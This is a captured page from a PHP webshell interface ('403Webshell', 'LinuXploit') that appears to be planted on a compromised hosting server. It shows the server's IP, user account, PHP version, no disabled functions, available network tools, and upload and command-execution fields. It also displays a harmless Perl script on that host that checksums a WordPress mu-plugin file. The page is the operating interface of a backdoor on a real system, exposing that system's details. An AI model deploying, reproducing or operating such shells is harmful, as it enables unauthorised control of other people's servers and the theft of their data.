403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/thread-self/root/proc/thread-self/root/lib/susshi/exec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/thread-self/root/proc/thread-self/root/lib/susshi/exec//wp-muplugin-sha256
#!/usr/bin/perl

use warnings;
use strict;

use lib '/usr/lib/susshi/exec';
use Susshi;

use Digest::SHA;

my $susshi = Susshi->new( -read_input => 1 );

my $docroot  = $susshi->get_directory( 'docroot', -mandatory => 1, -must_exist => 1 );
my $filename = $susshi->{filename} // '';

$filename or error_die "Missing 'filename' value";
$filename =~ /^[-_a-zA-Z0-9.]+$/ or error_die "filename does not pass check: $filename";
$filename =~ /\.\./                and error_die "filename does not pass check: $filename";

my $target_file = "$docroot/wp-content/mu-plugins/$filename";

-e $target_file or error_die "File does not exist: $target_file";
-f $target_file or error_die "Not a regular file: $target_file";
-o $target_file or error_die "Owner of $target_file is not $<";

my $sha = Digest::SHA->new(256);
$sha->addfile($target_file);
my $checksum = $sha->hexdigest;

info("sha256 $target_file: $checksum");

send_json_output({ sha256 => $checksum });

Youez - 2016 - github.com/yon3zu
LinuXploit